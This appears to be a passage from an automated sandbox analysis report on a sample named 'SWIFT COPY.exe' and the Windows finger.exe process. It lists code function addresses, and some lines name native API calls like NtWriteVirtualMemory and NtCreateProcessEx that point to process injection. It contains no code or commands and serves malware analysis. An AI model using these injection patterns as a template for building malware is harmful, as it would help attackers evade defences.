Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092CA0 NtQueryInformationToken,LdrInitializeThunk,	7_2_03092CA0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030935C0 NtCreateMutant,LdrInitializeThunk,	7_2_030935C0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030939B0 NtGetContextThread,LdrInitializeThunk,	7_2_030939B0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092B80 NtQueryInformationFile,	7_2_03092B80
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092AB0 NtWaitForSingleObject,	7_2_03092AB0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092F60 NtCreateProcessEx,	7_2_03092F60
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092F90 NtProtectVirtualMemory,	7_2_03092F90
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092FA0 NtQuerySection,	7_2_03092FA0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092E30 NtWriteVirtualMemory,	7_2_03092E30
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092EA0 NtAdjustPrivilegesToken,	7_2_03092EA0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092D00 NtSetInformationFile,	7_2_03092D00
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092DB0 NtEnumerateKey,	7_2_03092DB0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092C00 NtQueryInformationProcess,	7_2_03092C00
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092CC0 NtQueryVirtualMemory,	7_2_03092CC0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092CF0 NtOpenProcess,	7_2_03092CF0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03093010 NtOpenDirectoryObject,	7_2_03093010
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03093090 NtSetValueKey,	7_2_03093090
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03093D10 NtOpenProcessToken,	7_2_03093D10
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03093D70 NtOpenThread,	7_2_03093D70
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02899340 NtCreateFile,	7_2_02899340
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02899630 NtClose,	7_2_02899630
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02899790 NtAllocateVirtualMemory,	7_2_02899790
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_028994A0 NtReadFile,	7_2_028994A0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02899590 NtDeleteFile,	7_2_02899590

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB22F8	0_2_04FB22F8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB206B	0_2_04FB206B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB2033	0_2_04FB2033
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB21ED	0_2_04FB21ED
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB2109	0_2_04FB2109
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB2BB8	0_2_04FB2BB8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB2BA8	0_2_04FB2BA8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB3440	0_2_04FB3440
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1660	0_2_04FB1660
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1651	0_2_04FB1651
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB3760	0_2_04FB3760
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB3750	0_2_04FB3750
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB3199	0_2_04FB3199
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1DE9	0_2_04FB1DE9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1D71	0_2_04FB1D71
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1E56	0_2_04FB1E56
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1FD6	0_2_04FB1FD6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1AEE	0_2_04FB1AEE
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1B9F	0_2_04FB1B9F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A0B90	0_2_099A0B90
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A9598	0_2_099A9598
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A2CF8	0_2_099A2CF8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A1450	0_2_099A1450
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A7F70	0_2_099A7F70
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A1E88	0_2_099A1E88
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A39E0	0_2_099A39E0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8951	0_2_099A8951
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8960	0_2_099A8960
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A38A0	0_2_099A38A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A18D8	0_2_099A18D8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A18E8	0_2_099A18E8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A0006	0_2_099A0006
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A0040	0_2_099A0040
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A3BD8	0_2_099A3BD8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A3BCA	0_2_099A3BCA
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A2BE0	0_2_099A2BE0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A0AF2	0_2_099A0AF2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8218	0_2_099A8218
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8228	0_2_099A8228
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A5278	0_2_099A5278
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A5268	0_2_099A5268
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A958A	0_2_099A958A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A4DD0	0_2_099A4DD0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A4DE0	0_2_099A4DE0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8D10	0_2_099A8D10
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8D20	0_2_099A8D20
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8558	0_2_099A8558
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A8568	0_2_099A8568
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A3480	0_2_099A3480
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A2C10	0_2_099A2C10
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099AA438	0_2_099AA438
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A5458	0_2_099A5458
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A544A	0_2_099A544A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099AA448	0_2_099AA448
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A1440	0_2_099A1440
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A4FD8	0_2_099A4FD8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A4FE8	0_2_099A4FE8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A7F62	0_2_099A7F62
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A9E98	0_2_099A9E98
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A9E88	0_2_099A9E88
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_099A1E79	0_2_099A1E79
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B73131	0_2_09B73131
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B73140	0_2_09B73140
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B73808	0_2_09B73808
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B71048	0_2_09B71048
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B71490	0_2_09B71490
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B71480	0_2_09B71480
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B77CF8	0_2_09B77CF8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B72790	0_2_09B72790
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09B7277F	0_2_09B7277F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D40040	0_2_09D40040
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D4A594	0_2_09D4A594
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D4C118	0_2_09D4C118
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00418673	3_2_00418673
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_004100F3	3_2_004100F3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0040E0FB	3_2_0040E0FB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00416883	3_2_00416883
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0040E103	3_2_0040E103
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_004029C8	3_2_004029C8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00402183	3_2_00402183
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00402190	3_2_00402190
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0040E249	3_2_0040E249
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0040E253	3_2_0040E253
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00402341	3_2_00402341
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00402350	3_2_00402350
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00402C83	3_2_00402C83
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0042ED33	3_2_0042ED33
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0040FED3	3_2_0040FED3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00402E90	3_2_00402E90
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DA118	3_2_013DA118
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330100	3_2_01330100
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C8158	3_2_013C8158
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F41A2	3_2_013F41A2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_014001AA	3_2_014001AA
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F81CC	3_2_013F81CC
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D2000	3_2_013D2000
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FA352	3_2_013FA352
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_014003E6	3_2_014003E6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134E3F0	3_2_0134E3F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0274	3_2_013E0274
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013C02C0	3_2_013C02C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340535	3_2_01340535
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01400591	3_2_01400591
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E4420	3_2_013E4420
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F2446	3_2_013F2446
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EE4F6	3_2_013EE4F6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340770	3_2_01340770
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01364750	3_2_01364750
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133C7C0	3_2_0133C7C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135C6E0	3_2_0135C6E0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01356962	3_2_01356962
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013429A0	3_2_013429A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0140A9A6	3_2_0140A9A6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134A840	3_2_0134A840
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01342840	3_2_01342840
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013268B8	3_2_013268B8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0136E8F0	3_2_0136E8F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FAB40	3_2_013FAB40
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F6BD7	3_2_013F6BD7
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133EA80	3_2_0133EA80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DCD1F	3_2_013DCD1F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134AD00	3_2_0134AD00
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01358DBF	3_2_01358DBF
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0133ADE0	3_2_0133ADE0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340C00	3_2_01340C00
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E0CB5	3_2_013E0CB5
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01330CF2	3_2_01330CF2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01360F30	3_2_01360F30
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E2F30	3_2_013E2F30
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01382F28	3_2_01382F28
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B4F40	3_2_013B4F40
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013BEFA0	3_2_013BEFA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01332FC8	3_2_01332FC8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FEE26	3_2_013FEE26
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01340E59	3_2_01340E59
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01352E90	3_2_01352E90
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FCE93	3_2_013FCE93
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FEEDB	3_2_013FEEDB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0140B16B	3_2_0140B16B
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132F172	3_2_0132F172
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0137516C	3_2_0137516C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0134B1B0	3_2_0134B1B0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F70E9	3_2_013F70E9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FF0E0	3_2_013FF0E0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EF0CC	3_2_013EF0CC
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013470C0	3_2_013470C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F132D	3_2_013F132D
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0132D34C	3_2_0132D34C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0138739A	3_2_0138739A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013452A0	3_2_013452A0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135D2F0	3_2_0135D2F0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E12ED	3_2_013E12ED
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135B2C0	3_2_0135B2C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F7571	3_2_013F7571
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_014095C3	3_2_014095C3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DD5B0	3_2_013DD5B0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FF43F	3_2_013FF43F
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01331460	3_2_01331460
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FF7B0	3_2_013FF7B0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01385630	3_2_01385630
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F16CC	3_2_013F16CC
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013D5910	3_2_013D5910
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01349950	3_2_01349950
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135B950	3_2_0135B950
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013AD800	3_2_013AD800
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013438E0	3_2_013438E0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FFB76	3_2_013FFB76
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135FB80	3_2_0135FB80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B5BF0	3_2_013B5BF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0137DBF9	3_2_0137DBF9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B3A6C	3_2_013B3A6C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FFA49	3_2_013FFA49
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F7A46	3_2_013F7A46
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013DDAAC	3_2_013DDAAC
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01385AA0	3_2_01385AA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013E1AA3	3_2_013E1AA3
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013EDAC6	3_2_013EDAC6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F7D73	3_2_013F7D73
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013F1D5A	3_2_013F1D5A
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01343D40	3_2_01343D40
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0135FDC0	3_2_0135FDC0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013B9C32	3_2_013B9C32
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FFCF2	3_2_013FFCF2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FFF09	3_2_013FFF09
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013FFFB1	3_2_013FFFB1
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01341F92	3_2_01341F92
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01303FD2	3_2_01303FD2
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01303FD5	3_2_01303FD5
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01349EB0	3_2_01349EB0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311A352	7_2_0311A352
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031203E6	7_2_031203E6
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0306E3F0	7_2_0306E3F0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03100274	7_2_03100274
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030E02C0	7_2_030E02C0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03050100	7_2_03050100
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030FA118	7_2_030FA118
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030E8158	7_2_030E8158
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031141A2	7_2_031141A2
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031201AA	7_2_031201AA
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031181CC	7_2_031181CC
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030F2000	7_2_030F2000
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03084750	7_2_03084750
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03060770	7_2_03060770
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0305C7C0	7_2_0305C7C0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0307C6E0	7_2_0307C6E0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03060535	7_2_03060535
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03120591	7_2_03120591
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03104420	7_2_03104420
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03112446	7_2_03112446
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0310E4F6	7_2_0310E4F6
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311AB40	7_2_0311AB40
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03116BD7	7_2_03116BD7
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0305EA80	7_2_0305EA80
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03076962	7_2_03076962
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030629A0	7_2_030629A0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0312A9A6	7_2_0312A9A6
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03062840	7_2_03062840
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0306A840	7_2_0306A840
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030468B8	7_2_030468B8
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0308E8F0	7_2_0308E8F0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03102F30	7_2_03102F30
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030A2F28	7_2_030A2F28
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03080F30	7_2_03080F30
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030D4F40	7_2_030D4F40
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030DEFA0	7_2_030DEFA0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03052FC8	7_2_03052FC8
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311EE26	7_2_0311EE26
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03060E59	7_2_03060E59
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311CE93	7_2_0311CE93
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03072E90	7_2_03072E90
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311EEDB	7_2_0311EEDB
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0306AD00	7_2_0306AD00
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030FCD1F	7_2_030FCD1F
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03078DBF	7_2_03078DBF
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0305ADE0	7_2_0305ADE0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03060C00	7_2_03060C00
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03100CB5	7_2_03100CB5
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03050CF2	7_2_03050CF2
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311132D	7_2_0311132D
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0304D34C	7_2_0304D34C
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030A739A	7_2_030A739A
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030652A0	7_2_030652A0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0307B2C0	7_2_0307B2C0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0307D2F0	7_2_0307D2F0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031012ED	7_2_031012ED
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0309516C	7_2_0309516C
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0304F172	7_2_0304F172
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0312B16B	7_2_0312B16B
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0306B1B0	7_2_0306B1B0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030670C0	7_2_030670C0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0310F0CC	7_2_0310F0CC
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311F0E0	7_2_0311F0E0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031170E9	7_2_031170E9
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311F7B0	7_2_0311F7B0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030A5630	7_2_030A5630
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031116CC	7_2_031116CC
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03117571	7_2_03117571
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030FD5B0	7_2_030FD5B0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_031295C3	7_2_031295C3
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311F43F	7_2_0311F43F
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03051460	7_2_03051460
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311FB76	7_2_0311FB76
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0307FB80	7_2_0307FB80
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0309DBF9	7_2_0309DBF9
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030D5BF0	7_2_030D5BF0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03117A46	7_2_03117A46
